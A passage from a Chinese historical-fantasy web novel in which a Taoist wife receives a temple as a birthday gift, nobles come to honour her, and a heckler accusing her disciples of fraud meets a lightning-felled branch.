徐莞眨眨眼,奋力让自己从他那令人迷醉的容颜中清醒过来,忙不迭装出一副将将苏醒的表情,眯着眼向他点点头。 慕怀瑾行至床边,宠溺地抚摸她的长发,“那让东珠她们先帮你梳洗更衣。我已迫不及待要带你去看生辰礼物了。” 而后,几位丫鬟便帮着徐莞沐浴更衣,梳洗打扮。 一个时辰之后,陈嬷嬷望着镜中的徐莞,终于满意地点了点头。 “夫人,奴婢们为您梳洗完毕,您瞧瞧可还满意?” 徐莞转眸端详起镜中的美人儿,微微一惊,竟对自己如今的模样有些难以置信。 但见镜中的妙龄女子,螓首蛾眉,红润白皙的面颊,如春日盛放的山茶花那般娇艳明丽。 那双清透似春水的眸子,略施粉黛之后,眸光盼兮间竟流转出仿似宝石般的光彩。 她身着一条银白滚雪细沙裙,外罩朱红色围裳。这素雅中又不失明艳的裙裳,更衬得她气度清雅高华,贵气逼人。 徐莞从前的衣着打扮大多以蓝绿白等素色为主,今日添了一抹红色,真叫人眼前一亮。 等她来到沐心阁,见到黎老夫人等慕家人时,大家都不约而同夸她今日美得大气。 “大嫂生辰快乐!你今日打扮得太美啦。”慕怀灵凑到徐莞身边,挽着她的手臂兴奋地夸道。 “是啊,”薛敏芝眼含笑意附喝道:“从前只见过菀菀穿素色,今日一见这身打扮才知,菀菀穿艳丽的颜色更美。大哥真是有福了。” 而慕怀瑾在方才接她同往沐心阁时,便已被今日的徐莞美得失神。 此时被家里人一夸一笑,总算回过神来,低下头,面颊上浮现出一抹淡淡的红晕。 众人见慕怀瑾望向徐莞那痴痴的眼神,都不由得掩唇偷笑。 黎老夫人瞅着他们亦笑道:“怀瑾,一上午你还没将菀菀看够啊?罢了,等晚上回寝屋你再慢慢看。这会儿人都到齐了,我们先开席吧。” 徐莞不想将自己的生辰大操大办,只想与家人在府中简单共进午膳。 慕怀瑾尊重她的意愿,今日仅在府中设了这一桌宴席,用膳者也仅有慕家众人。 于是在老夫人的提醒下,慕家人纷纷按规矩落座,一面用着美酒佳肴,一面为徐莞庆祝生辰。 席间,慕家人依次送出自己准备的礼物,向徐莞道一句生辰安康。 慕怀灵缝了一对儿鸳鸯香囊,这对儿鸳鸯互为弥补,并在一块儿时,还能构成一五彩八卦图样。 慕怀灵将这对儿鸳鸯送给慕怀瑾和徐莞,既代表着他们二人如同鸳鸯般伉俪情深,并合在一起时又暗示着徐莞道门中人的身份,可谓颇有创意。 慕怀清薛敏芝则为徐莞送上,由京城名气最大的首饰行,打造的一套鎏金嵌青金石鹤舞步摇及发簪。盒子打开的一瞬,流光溢彩。 慕煜峥也亲手为徐莞画了一副画像,美其名曰先将这画像送给徐莞开开光,再取回来挂在他的书房,既能保佑他平安,又能助他金榜题名。 黎老夫人则直接送了一个庄子和两块地给徐莞,任她随意使用。 徐莞抱着家人送给她的礼物连连道谢,心里乐开了花,想不到自己也是有地的人了。 末了,众人都将目光落在了慕怀瑾身上。 “大哥,你给大嫂准备了什么礼物呢?”慕怀灵好奇地问。 慕怀瑾放下筷子,正色又略带神秘道:“我的礼物在府外。大家都随我同去看看吧。” 话毕,慕怀瑾向徐莞伸出手掌,绅士地邀请,眼中荡漾着春柳似的柔情,“菀菀,随我走。我准备的生辰礼物,你一定意想不到。” 而后,慕家众人分别坐上三辆马车,跟随慕怀瑾向城东而去。 大约行了一柱香的功夫,马车终于停了下来。 慕怀瑾护着徐莞走下马车,而后抬起头望见眼前这片高大庄严的建筑时,徐莞不禁惊得屏住了呼吸。 尽管已隐约猜到慕怀瑾为她准备了什么,但当自己切身站在此处,亲眼望见大门上方牌匾所书的三个大字“青云观”时,徐莞还是不由得感到震撼与难以置信。 眼前肃穆庄严的朱漆大门上,铜钉泛着古朴的光泽。飞檐斗拱凌空欲飞,瓦当上瑞兽栩栩如生。 门外立着一棵参天古柏,枝叶交错,投下一片清凉,更添几分幽静神秘之韵。 道观内的丛丛翠竹,自朱墙灰瓦内伸了出来,那柔暖的红与青隽的绿,碰撞出绚丽的景致。 此时,青云观大门大开,不断有百姓进进出出。 悠远苍辽的钟声,伴着缕缕青烟自观内传出,无端令人的心静了下来,由衷升起一股超脱尘俗之外,一切皆空之感。 “怎么样?我准备的礼物还满意吗?” 就在徐莞还沉浸在惊讶振奋之中时,慕怀瑾如晨钟的嗓音在耳畔响起。 下一秒,他便移到徐莞面前,抿唇淡笑着向她问道,眼底隐隐含着一丝期盼。 徐莞睁大了眼眸望向慕怀瑾,似做梦般难以置信道:“这是你送我的生辰礼物?你何时瞒着我建了一座青云观呀!” 第316章 316.礼物一样接一样 “这是你送我的生辰礼物?你何时瞒着我建了一座青云观呀!”徐莞向慕怀瑾惊喜叫道。 这时,另外两辆马车上的慕怀清等人也下车走了过来。 慕怀清行至慕怀瑾身旁道:“大哥自年初就有了为你建一座道观的念头。后来我们两个一合计,便决定买下这片宅子,将其改建成了道观。 为了在大嫂生辰前完工,又不能让你知道,大哥可费了不少功夫,我也被折腾得够呛。” 慕怀清看似在邀功,实际上却是在为慕怀瑾贴金呢。 慕怀瑾含笑点头,定定望着徐莞接口道:“因为我知道你最大的愿望,就是在京城重建一座青云观,将青云观发扬光大。 所以我就想在你的生辰时,帮你实现这个愿望。菀菀,这份礼物你还满意吗?” 磁性又深情的语声落下,慕怀瑾那如黑曜石般的眸子,此时竟摇曳出点点星辉,含着一丝少年般的羞涩与期盼。 徐莞的嘴角立时绽放出一抹灿若红蔷的笑,不假思索便道:“满意!当然满意!但是…我说过要用自己赚的银钱来建青云观。可如今你却已帮我建好了…” 徐莞顿了顿,而后颇为认真地说:“你建青云观花了多少银子,我回府后就给你!” 慕怀瑾顿时哑然失笑。 一旁的慕家人也都不自觉笑了出来,觉着徐莞这姑娘心思直得可爱。 慕怀瑾愣了片刻后,略略无奈又宠溺地笑道:“傻姑娘,你我既已是夫妻,便是一体,还分什么你我。你若是要还我钱,就是将我看成外人了。” 徐莞一听便急急开口,“我不是这个意思,我只是……” 慕怀瑾轻轻摇摇头,示意她不用再说:“不必解释,我都懂。你就别考虑钱的事了。今日来到青云观,你就不想进去转转吗?我保证里面你也会满意。” 徐莞犹豫了片刻,心中还回想着方才慕怀瑾说将他当作外人的话,不禁有些惴惴担忧。 但她明白此时不是解释的时候,黎老夫人和慕家众人还等着一同进青云观参观呢。 “好,我们先进去吧。” 慕徐二人带着慕家众人正要往里走,一道高亢清朗的男声,兴致高昂地响起。 “怀瑾!徐观主!你们已经到了啊!” 众人回首望去,竟见是周祎仁与夫人秦韶华,带着两个孩子下了马车,向他们这边走来。 慕怀瑾见到他淡淡笑道:“祎仁你们来的正好。我们也是刚到。” 周祎仁行至慕怀瑾面前,两人打过招呼后,周祎仁便转向徐莞,拱起手满脸堆笑道: “恭喜徐观主贺喜徐观主,青云观终于开张啦!我们今日专程前来想给祖师爷上香,再给青云观供些香火钱呢。 今日还是徐观主的生辰,我周祎仁代表我们全家,祝您生辰安康!” 周祎仁说着,一旁的秦韶华与两个孩子,也都温暖地笑望着徐莞。 徐莞见到他们亦欣喜不已,“多谢周大人和秦姐姐的牵挂和祝福。你们来为祖师爷上香,我已经很感激了。” “哎~这算什么。”周祎仁大大咧咧说:“我们还为你准备了生辰礼物呢。” 说着,周祎仁的儿女周平章与周嫣便捧着一锦盒,笑意盈盈地上前。 “慕夫人生辰安康!”周嫣嗓音甜糯地叫道。 周平章的气色也好了不少,不再是一个月之前病弱苍白的模样,腼腆地冲着徐莞笑。 秦韶华借着他们的手将锦盒打开,众人只觉眼前一亮,一支通体莹白的玉如意正端端躺在锦盒之中。 周祎仁走上前来兴致勃勃向他们介绍道:“这支玉如意相传乃道门祖师张道陵的一根胸骨玉化而成。若在德行高尚、道法高强人之手,则可发挥出极强的法力。 徐观主,这可是我从前南下端州时,从当地赫赫有名的道观中花重金买下的。这些年一直放在我府中镇宅辟邪。 但我们不懂道法,无法发挥出这玉如意的威力。正巧徐观主你道法与德行兼备,我与韶华都觉得应该将其送给你。这才是至宝配贵人啊。” 周祎仁的一番话,让慕家众人对这如意愈加刮目相看。 徐莞却笑而不语。 周祎仁八成是被人骗了,因为她未从这如意上察觉到一星半点灵力。 不过这如意的玉色温润均匀,又无杂质,并且是少见的莹白色,作为府中摆件也不失为一件贵重佳品。 徐莞不忍心拂了周祎仁的一番心意与面子,便笑着感激道: “多谢周大人和秦姐姐的一番心意。那我便恭敬不如从命了。今后我再为您府上添一件镇宅辟邪之宝便是。” “哈哈哈……” 徐莞的话引得周祎仁与慕家众人畅快大笑。 “那周某便先行谢过徐观主了!” 周祎仁向徐莞一拱手,正准备向慕怀瑾说话,众人身后又响起一道浑厚男声。 “何事笑得如此畅快?快讲与本王听听。” 大家齐齐侧过头去,看清来人时,不由得提神一震,原来是定北王鄞玄,带着冷锋与流星到了。 “见过王爷!” 由于是在大庭广众之下,慕家与周家人皆依照礼节向鄞玄行礼。 鄞玄大方地将他们唤起来,“快快起身,不必如此多礼。” 众人起身后,周祎仁立马换上促狭的笑容,向鄞玄靠了过去,“呦,今日定北王也大驾光临我们青云观啦。” 鄞玄睨了他一眼。“什么叫我们青云观?这青云观的观主明明是菀菀吧。” 鄞玄带着看好戏的眼神望向慕怀瑾,后者果然正用阴冷无语的目光盯着周祎仁。 周祎仁却还浑然不知,大大咧咧说:“开玩笑,我与徐观主是什么关系。从徐观主将将嫁给怀瑾时,就开始帮我破案了。 怎么说我也算是她半个弟子吧。你说是不是啊徐观主?” 周祎仁说着,一只手想要去搭徐莞的肩。 慕怀瑾却突然闪身一个擒拿,便擒住周祎仁的胳膊将他按了下去。 “啊啊啊!”周祎仁发出一阵夸张的惨叫。 慕怀瑾假意按住周祎仁,腹黑道:“半个徒弟?那你叫我一声师公听听。” 第317章 317.见色忘友 慕怀瑾假意按住周祎仁,腹黑道:“半个徒弟?那你叫我一声师公听听。” “哈哈哈……” 慕怀瑾的话又引来众人一阵大笑,尤其是鄞玄,看到周祎仁那衰样,仿佛他们又回到了在北疆军营,相互插科打诨的日子。 徐莞亦掩唇嗤笑,暗想周祎仁真是个活宝。 慕怀灵不知何时已凑到了冷锋身边,与他肩并肩,抬首相视,眉目间尽是甜蜜的秋波。 笑闹过后,慕怀瑾放开了周祎仁,周祎仁踉跄两步躲回自己媳妇身旁,气鼓鼓朝慕怀瑾哼了一声。 闹罢,慕怀瑾向鄞玄问道:“阿伽今日怎么有空前来?” 鄞玄微微敛起笑意沉声道:“我听祎仁说,今日是菀菀的生辰,又是青云观开观的日子。我自然要前来恭贺一二。” 鄞玄说着,将目光转向徐莞,“菀菀,你的生辰礼我也不来虚的,给你准备了一千两的红包,你一定要收下。” 红包!一千两! 这两个词放在一起,令在场所有人皆倒吸一口气。 定北王出手也太阔绰了! 一旁的周祎仁却突然急了,“阿伽,为何你给徐观主一千两红包,到我生辰你就只包一百两?你这是见人下菜啊。” 慕怀瑾邪邪笑了笑,“你能跟菀菀能比吗?” 鄞玄下意识地回了一句,“是,你怎能与菀菀相比。” 周祎仁正在兴头上,没多想便脱口而出,“阿伽,你这个见色忘友的家伙!” 此话一出,空气突然静了下来。 “见色忘友”这个词,用在此处似乎有些不太合适…… 而作为事件方之一的鄞玄,本应出声喝止周祎仁,但他却一反常态没有说话,刚毅肃然的面庞上,竟流露出一种说不清的异样神色。 原本热闹欢喜的氛围,刹那间变得有些古怪。 而原先只将其当作玩笑的慕怀瑾,面上愉悦的神情也渐渐淡了下去,望向鄞玄的眼神也逐渐深了。 周祎仁一看气氛不对劲儿,立马哈哈笑着打圆场。 “怎么阿伽,我说你还不承认了?我是没怀瑾长得俊,但是你不能如此区别对待啊。好歹咱们三个从小在北疆一块长大呢!” 周祎仁的一番话立时点醒了鄞玄。 他先是将方才“见色忘友”的对象变成慕怀瑾。 然后再暗暗提醒鄞玄,我们三个一同长大,情同手足。 而徐莞是慕怀瑾的夫人,鄞玄不应在谈到徐莞时,态度暧昧不明。 鄞玄即刻清醒过来,调整好表情望向周祎仁一本正经地开玩笑道:“我承认。我就是钟意怀瑾怎么了?” 说着,鄞玄抬手搂过慕怀瑾的肩膀,拍拍他的肩笑道:“怀瑾,在军营中谁人不知我俩形影不离。 若是将我们当年之事说给你夫人听,她都怕是要妒忌了。” 慕怀瑾却扯了扯嘴角,推开鄞玄,转身将徐莞搂进怀里,揶揄道: “你可别胡说,别让菀菀误会了。还有你莫要再钟意我了,我已是有家室的人了。钟意我,没结果。” 他们三人之间的插科打诨,终于缓解了气氛,让众人再次哈哈大笑起来。 笑闹声中,徐莞望着他们三人开口道:“好了,我知道你们三人情谊深厚。你们可以尽情秀恩爱。放心,我不会介意的。 但是今日是我的生辰,我想进去看看青云观是不是我想象中的样子。大家都一同进去吧。” 周祎仁立马接上,“对对对,我还要去给祖师爷上香呢!走吧,咱们一块进去!” 在周祎仁与流星等人的鼓动下,慕家众人与鄞玄他们也都放松下来,陪着徐莞一同走进青云观。 一进大门,前方庭院中便是一汪碧绿如洗的莲花池。莲花池上方搭起一座精巧的小拱桥。拱桥下两侧个吊着两个硕大的铜钱。 此刻,拱桥上挤满了来往的香客。莲花池两侧也有不少香客,隔着围栏用手中的铜板,往桥下吊着的大铜钱上砸。 不时有人的铜板从大铜钱中间的孔洞中飞过,那人便如获至宝般激动地原地蹦跳欢呼。 从拱桥上经过,便来了青云观的第一座大殿,大雄宝殿前。 殿前放着一鼎巨大的香炉,左右两边是两盏长明灯。 香客们先在门口的请香处买香,然后就着长明灯的烛火点香。 在殿外持香拜完后,香客们将手里的香插进大香炉中,而后走到殿前摆的一排蒲团前跪下朝拜。 最后再进入殿中,给功德箱里放入香火钱,顺手从一旁的供桌上拿一两个供果,沾沾福气。 在大殿前烧香跪拜过后,周家与鄞玄一行人,便来到大殿内准备供些香火钱。 众人踏入殿内,一抬头竟见那个坐在功德箱后面,一面啃着果子,一面指挥香客放银钱的人,居然是马白虎。 “白虎?原来你早就到此地了!难怪今日在府中没看见你。”徐莞望见白虎颇为意外。 白虎立马从椅子上站了起来,“师父!” 他唤了一声,又下意识地望向慕怀瑾,之后不好意思地扭捏道:“是侯爷不让我们告诉您的。师父您不要责怪我啊。” 徐莞嗔怪地睨了他一眼,“行了,看在今日是我生辰的份上,就不罚你了。朱雀呢?也在这里?” “对,我姐在后面为法物店画符呢。”白虎道。 “好,你带我们过去吧。” 白虎应了一声,便从功德箱后走了出来,带领一众人往后面的大殿而去。 流星不知何时来到了白虎身边,潇洒地一抬手勾住他的脖颈,低下头嬉皮笑脸地不知跟他说着什么。 冷锋与慕怀灵见此,也心照不宣地笑了笑,凑在一起低低说了句什么。 一旁的鄞玄也注意到了此情况,向疑惑地冷锋问了句,“流星为何与菀菀的那个小徒弟关系如此好?” 冷锋并未直接告知,而是意味深长道:“可能是因为他姐姐的关系吧。” 鄞玄听后思忖了片刻,脑中渐渐浮现出朱雀的身影,接着恍然大悟,“原来如此。没想到居然是这样的姑娘将流星拿下了啊。” 第318章 318.声名远播 在白虎的带领下,一行人穿过大雄宝殿,往后方一座大殿而去。 就在此时,一道苍劲的中年男声忽然自他们身后传来。 “慕侯爷、夫人,好久不见呐。” 众人闻声回身看去,竟见是吏部尚书肖胜铭,与他的两个儿子一同笑着走了过来。 “肖大人。”慕怀瑾等人颇为意外。 自徐莞去年帮肖家解决了肖老夫人的事后,便许久未见了。没成想今日他们竟也来了青云观。 “见过王爷!”肖胜铭向鄞玄行过礼,又与周祎仁打过招呼后,便向黎老夫人望了过去。 “大姨姐许久不见,身子可还康健?” 肖老夫人黎英英,正是黎老夫人的妹妹。因而肖胜铭见了黎老夫人,也要唤她一声大姨姐。 偶遇旧人,黎老夫人有些意外,也有些感慨,“是胜铭啊。我这把老骨头还算硬朗。 你的精气神也不错,看来英英的在天之灵已经释怀。你和霈瑜霈轩也都从那些诡事中缓过来了。” “是啊,还要多谢您儿媳妇,我们肖家才能化险为夷。” 说着,肖胜铭又用满怀感激的目光望向慕徐二人。 慕怀瑾尊敬又客气地说:“姨夫过誉了。这是我和菀菀应该做的。” 徐莞谦和一笑,望向肖胜铭的长子肖霈瑜,“恭喜霈瑜即将为人父了。” 肖霈瑜立时眼眸一亮,“慕夫人您怎么知道我夫人已有身孕?此事还是前日府医才发现的呢。” 徐莞眼中闪着洞悉万事的光,“从你的面相就能看出来。” 肖家三人即刻露出惊叹敬佩的表情,“慕夫人的眼光果然看的准啊。” 马虎扬起下巴骄傲地笑道:“那可不。要不然我师父怎当得了这青云观的观主呢。” 肖家三人笑着点头,肖胜铭道:“正是因亲眼见识过菀菀的高超法力,今日我等才会相聚于此,来为青云观添些香火钱。” “是啊是啊。慕夫人于我们肖家有大恩。今日您的青云观开观,又恰逢您的生辰,我们当然要亲自前来捧场。” 徐菀笑意盈盈向肖家周家及鄞玄等人施礼拜谢,“多谢王爷和两位大人前来捧场。今日我便免费送各位一卦,待会儿想算什么妾身都会尽力而为。” “真的吗?徐观主您够义气啊!平时找您算一卦至少需要五百两吧。” 周祎仁如此一说,肖家与鄞玄等人皆精神一震,再次向徐菀连连道谢。 就在此时,又一道端庄且熟悉的女声,带着点笑意悠然响起。 “诸位大人今日汇聚于此,难不成都是为了来给青云观捧场?” 徐莞闻声侧头望去,面上即刻露出恭敬一笑,“殿下,您也来了。菀菀见过大长公主殿下!” 其他人也忙转身望去,但见华贵威仪的大长公主,带着几名嬷嬷与护卫,正施施然向他们走来。 “见过大长公主殿下!” 众人齐齐行礼后,鄞玄上前一步问道:“姑母,您今日为何也来了此处?难道菀菀也曾帮过您?” 大长公主笑着点头,将目光转向徐莞,“是啊,菀菀和永嘉侯不仅是帮过本殿,可以说是救了我全府上下的性命啊。” 鄞玄与周肖等人闻之,皆明白了大长公主一定与他们一样,遇到了危及性命的鬼神之事。幸得有徐莞相助,才能化险为夷。 “原来如此,我等今日在此,都是为了报答徐观主的救命之恩啊。” 言罢,大长公主行至徐莞面前,拉起她的手,关切又郑重道: “菀丫头,今日是你的生辰。本殿清楚那些凡尘俗物入不了你的眼。因此,本殿准备了一张令牌送与你。 这是我大长公主府的令牌。你拿着这张令牌,只要是在京城之内,任何人都不敢为难你,甚至包括皇宫中的那位。” 说着,大长公主将一块红木描金的令牌,放进了徐莞手中,望着她眼中露出一抹睥睨万事的自信。 徐莞将令牌握进手中,心中也略有动容。 起初她出手救大长公主,实则是有自己的考量。 但大长公主对她从始至终都以真心相待,甚至将她看做了自己的女儿。 徐莞又不禁想起秦韶华从前对她说过的话:若是能得大长公主的赏识,那便是天大的幸运。 思及此,徐莞发自内心地向大长公主行大礼恭敬一拜,“菀菀多谢殿下厚爱!” 他们一众人立在道观内,皆是锦衣华服、气度不凡,早已吸引了不少香客的注意。 其中有些香客亦是官场中人,识得慕怀瑾、肖胜铭及周祎仁等人,心中暗暗惊奇,原来这间道观的观主,竟是永嘉侯的夫人。 甚至定北王和大长公主,都赏脸亲自前来捧场,还对永嘉侯夫人颇为敬重。 看来这位青云观主定然有几分真本事啊。 于是,京城新建的青云观观主道法高强、慈悲为怀、乐善好施的名声,便在一些朝廷官员中不胫而走,直至传到了何钦的儿子,何立骅的耳中。 不过这些都是后话,暂且按下不表。 当下,肖家周家与鄞玄大长公主等人向徐菀客套一番后,便各自在观内转了烧香祭拜起来。 徐菀和慕家众人,也在慕怀瑾的带领下,在观内闲逛参观。 但见整个青云观占地二十多亩,共设五间大殿与厢房耳房若干。 除了五间大殿挤满了烧香拜神仙的香客外,设在耳房的几间法物店,更是被挤得水泄不通。 香客们都对店中售卖的各类符纸,及开过光的手串吊坠和摆件等法物颇有兴趣。 且今日青云观将将开观,所有法物皆削价两到三成,价格比紫霄观和八仙观优惠不少。 因此,购买法物的香客络绎不绝,甚至到了一符难求的地步。每一道符纸从柜台后送出来,眨眼间就被香客争抢一空。 而坐在柜台后拼命画着符纸的人,正是马朱雀! 当徐菀及流星冷锋等人走进店内时,望见马朱雀都吃了一惊。 只见她坐在一张桌案前,桌案上放着一厚沓黄纸。 她额前和鬓角的碎发散落而下,双眼如走火入魔一般直愣愣盯着眼前的黄纸。 第319章 319.上门砸场子 朱雀额前和鬓角的碎发散落而下,双眼如走火入魔般直愣愣盯着眼前的黄纸。手持朱砂笔,在黄纸上一阵笔走龙蛇。 极快地画完一张后,立马拿过另一张黄纸再次大笔一挥,眨眼间又完成一张。 就这样一张接一张,一刻不停地画着符,朱砂笔都快抡冒烟了。 白虎和流星小心翼翼地走上前去,白虎试探着问:“姐?姐你这边咋样?我带师父和流星大哥来看你啦。” 朱雀连头都没转,双眼依旧紧盯着手下的朱砂笔,极快地说了声,“别烦我!” 被怼了一脸的流星下意识地往后靠了靠,与白虎交换一个“看你姐这臭脾气”的眼神。 而后撇撇嘴向白虎道:“走吧白虎,我们别惹她。今日她不是炮仗,是炸药了...” 话还没说完,朱雀突然转过头爆吼,“流星你给我滚!!!” 伴随着这道河东狮吼,仿佛有一阵八级飓风呼啸而出。 离朱雀最近的流星和白虎首当其冲,不仅头发被吹飞,就连脸皮都吹得皱了起来。 流星:“......” 白虎:“......” 立在后方的慕徐等人,以及法物店中争先恐后的香客,皆被这阵大风波及,被吹得衣角发丝飞扬。 原本混乱拥挤的人群齐齐蓦地顿住,法物店内的喧闹声亦戛然而止。 半晌,慕怀瑾拨去被吹到面上的发丝,怔怔侧头向身旁的徐菀道:“菀菀,你的好徒弟如今可以出师了...” 徐菀面无表情地拿去头上挂着的一张黄纸,“我这大徒弟的脾气,有时候连我都怕...” 这时,朱雀才注意到徐菀和慕怀瑾也来了,连忙收起怒气,起身从柜台后绕了出来,“师父!侯爷!不好意思!我不知道你们...” “无碍。”徐菀整理好仪容,调整好表情,向朱雀赞赏地笑着说:“朱雀,你辛苦了。” 朱雀面上立即扬起一抹欣然的笑,略略羞赧地抹去额角的汗珠,“应该的师父。这是您的道观,我又是您的大弟子,理应为您分忧。” 徐菀满意又慈爱地笑着点点头。 后方的香客们也渐渐回过神来,再次开始催促店内的伙计。 “喂,我要的平安符好了没有?” “还有我的安神符,五张!” “你一边去!我先来的好不好!我要三张聚财符!” “你推我干嘛!分明是我先付的钱!” “你有钱了不起啊!先来后到不懂吗?不懂的话我送你回娘胎里再活一遍!” 眼看几位香客吵嚷着就要打起来,伙计与白虎赶忙去拉架。 “好了好了,几位信士莫激动。诸位要的符纸很快就好!道观乃清净之地莫要动怒,惊扰到大罗神仙可就不妙了。” 而就在此时,一道刺耳的公鸭嗓突然从人群后突兀响起。 “抢什么抢!这间道观的符纸根本没用。她就是个骗子,大家不要被他们骗了!” 此话一出,原来还在推搡着的几名香客立时停了下来,齐齐向那边望了过去。 但见一名面无二两肉的中年男子,着一身普通布衣,双眼阴郁地瞪着朱雀的方向,一步步走了进来。 “这名女子就是前两年借道术在京城招摇撞骗的马天师。你们难道都忘了吗!” “马天师”的名号一出,朱雀刹那僵在了原地,面上立时失去血色。 糟了,这人难道是之前被她骗过的人? 很快,香客中就有人认出了朱雀,跟着开口附喝:“我认出来了!她就是那个自称九天玄女下凡的神棍对吧?我还被她骗过五十两呢!” “没错我也想起来了!她是叫马朱雀,那个是她弟弟马白虎。好家伙,原来是你们两个!” 马家姐弟刹那心内一紧,自己从前干的那些招摇撞骗的勾当,如今终究还是反噬到自己身上了。 马朱雀心内焦灼,他们可以说我是骗子,但不能污蔑师父。决不能因为我而了玷污师父的名声,和青云观的声誉。 可是...如今该如何做才能让这些人相信... 在马家姐弟焦急无措时,那个面无二两肉的中年男子,再次扯着他的公鸭嗓,向众香客鼓动道: “大家还挤在此处做甚?还不快将你们刚买的符纸退了!敢收这两个神棍做弟子的道观,想必也不是什么正经道观。 这间道观的观主,说不定也与这两个神棍一样是个骗子,就是借这间道观敛财而已!” 经这人一鼓动,人群再次骚动起来,将手中将将买的符纸,向朱雀白虎和柜台后的伙计砸去,气愤不满地振臂高呼: “骗子!给我们退钱!” “退钱退钱!” 流星立时身形一闪,移到朱雀身前,帮她挡去那些砸来的符纸和饰品。 “喂,你们有话好好说!要退钱找伙计退,拿东西砸人算什么!别砸了!” 心情繁乱的朱雀缓缓抬起头,望着身前这片高大宽阔的脊背,一时间不由得怔住。 一股不知名的暖流,自她心底徐徐淌出,略略化解了当前的羞愧与丢脸。 似乎每次她出糗的模样,都被他看到了呢。 但他好像并不怎么在意,依然如狗皮膏药一般站在她身前,为她挡去所有危险与伤害。 这样的流星,让她如何能将他从心里赶走。 就在法物店内的场面即将失去控制时,一道清朗沉稳的女声,豁然响起,“大家静一静!” 这道声音虽不大,但每个人却都感觉这道声音犹如在自己头顶上方响起,无比清晰且具有穿透力,让人无法抵抗,禁不住按照她说的做。 众人听后皆向那对锦衣华服、气度不凡的男女望了过去。 公鸭嗓男子亦发现有人打断了他,遂对着徐菀喝道:“你是何人?” 徐菀淡淡一笑,“我就是你口中,这间道观的骗子观主。” 公鸭嗓男子即刻眼眸一亮,“原来你就是观主!你这个骗子,还不跪下向我们请罪!否则我们今日便将你这道观砸了!” 店内香客们又被这人带动了情绪,义愤填膺振臂高呼: “就是!赶紧跪下认错,否则别怪我们不客气!” 第320章 320.当场打脸 “就是!赶紧跪下认错,否则别怪我们不客气!” 在一阵阵凶狠怒骂声中,一道低沉又极富压迫感的男声,猛然响起: “永嘉侯慕怀瑾在此,我看今日谁敢坏了这道观的一砖一瓦!” 众人这才震惊知晓,这位高大冷峻、器宇轩昂的男子,竟然就是永嘉侯! 一时间,店内静了片刻,众人沉浸在震惊畏惧中,没人敢开口接话。 但片刻后,那名公鸭嗓男子,却又作死地开了口,“永嘉侯又有何了不起! 你若是护着这些神棍,任由他们欺骗我们老百姓,就和这些骗子也没什么分别!我将你告到官府,皇上一样可以治你的罪!” “对没错!”香客们跟着怒吼道:“就算你们身份尊贵,背后有人我们告不倒你,大不了我们再也不来你这道观了。 我还会给每一个认识的人都说,青云观是个骗子道观,让大家都不要来! 到时候全京城的人都知道你们是骗子,我看你这道观还能不能开的得下去!” “说得对!” “就是就是!没见过如此仗势欺人之人!” 法物店里的动静将外面的香客也都吸引了过来。 一时间,法物店内外都聚满了香客,皆盯着慕怀瑾与朱雀白虎,就想看他们如何处理此事。 那名公鸭嗓男子见此,却暗暗露出一抹幸灾乐祸的笑。 就在场面快要失控之时,徐菀再次用传音术开了口,“大家莫激动!静一静!” 这道嗓音一出,再次摄住了众人的心神,让所有人不自觉地安静下来。 随后,徐菀向前几步行至法物店前方,转过身面向一众香客,朗声道:“既然那位信士已说完,诸位不妨也听我几句。 首先,我的徒弟朱雀白虎,从前因年纪尚小,又无人教导,确实走过一段歪路。 但自从投入我门下后,便未再做过任何不当之事。他们的道法也是我教的,朱雀如今学的已相当不错。诸位不信的话,待会儿可以让她展示一二。 另外,我想问那位信士几个问题。” 徐菀说着,抬眸望向立在门口处的公鸭嗓男子。众人的目光也跟着转了过去。 徐菀仍旧盯着他问,“请问这位信士,你买过我青云观的符纸吗?又凭何说我的符纸无用?” 听到徐菀的问题,那人有一瞬间的怔愣,似是未想到徐菀会问这些。 但仅仅是一瞬,他又恢复常色,凶狠地瞪着徐菀道:“当然买过!三日前我就是在马朱雀那里买的符纸。 她说我三日之内有意外灾祸,非要卖给我一道平安符,收了我五十两银子。 可是如今已过三日,我一点事儿没有,所以她不是骗子是什么?” 徐菀听罢,微微侧过身向朱雀问:“朱雀,可有此事?” 朱雀略略紧张地点头,“是,师父。我确实卖了一道符纸给他。但并不是他说的我非要卖给他,而是他非要向我买一道平安符。我推辞不过就卖给他了。” 白虎亦恶瞪着那公鸭嗓男子,愤恨道:“你休要血口喷人!这三日你能平安度过,怎么不说是那平安符的功劳?我看你分明是故意来挑事的!” 白虎如此一说,法物店内外围观的香客们,有些便意识到那公鸭嗓男子话中的破绽。 “那个小子说的也有几分道理。照那个男人的话,这三日他未遇到意外灾祸,也有可能是那符纸的功劳。” “是啊,而且那个男人是从马朱雀手里买的符纸,并不是从青云观买的,凭什么一进门就说青云观的符纸不顶用。” 公鸭嗓男子隐约听见周遭的议论声对其不利,顿时有些慌了。他向四周望了几眼,额角渐渐渗出些许汗珠。 徐菀注意到了他的神色,心中了然一笑,遂又向他问道:“既然你说朱雀卖给你的符纸无效,要求退钱。我便按原价将银子退给你,你将那道符还给我,可好?” 那男人听徐菀要让他将符纸还回去,一时间不知该如何自处。 观主只说让他今日来青云观砸场子,可没说对方真退钱该如何。 要是他将符纸还回去,自己真遇上血光之灾可怎么办呐。 就在男子犹豫之时,旁侧有香客看不过眼,出声劝道:“人家已经愿意给你退钱,你又在那磨蹭什么?” “就是啊,你还愣在那儿干啥?赶紧把符纸给人家啊。” “快给啊。还考虑啥呢?” 在众人的催促下,公鸭嗓男子只好硬着头皮将那道符纸给了出去,还侥幸地想着,就算把符纸还回去,自己也不一定会有意外之灾吧。 徐菀立即示意伙计取银子出来。银子取来后,伙计将银子给了那个男人,符纸也顺势收回到徐菀手中。 “好了,若是没有旁的事,就请回吧。”徐菀下了逐客令。 公鸭嗓男子又愣了愣,目光向四周围观的香客们望去,见他们居然都没有动也没有说话,而是用一种探究又期待的眼神望着他,似乎在等着看一场好戏。 公鸭嗓男子明显是头一回做这种事,此时更是找不出还能留在此处的理由,只好揣着银子转身向外走去。 众香客谁都没说话,就这般牢牢盯着他,见他走出法物店后一直往前走。快走到一棵大树下时,原本晴朗的天空,忽然飘来几朵乌云,将骄阳遮蔽,天色瞬间暗了下来。 下一瞬,一道闪电突然从乌云中劈了下来,恰好劈在那男子头顶上方的一根树枝上。 紧接着,伴随着轰隆一声惊雷,那根一人粗的树枝便咔嚓断裂,直直向那男子砸了下去。 “哎呀!!!” 那男子注意到时,已来不及了,仰头惊叫一声,便见那根粗壮的树枝当头朝他砸了下来,嘭的一声正巧砸在他头顶。 公鸭嗓男子只觉头顶一阵剧痛,之后便眼前一黑栽倒在地。 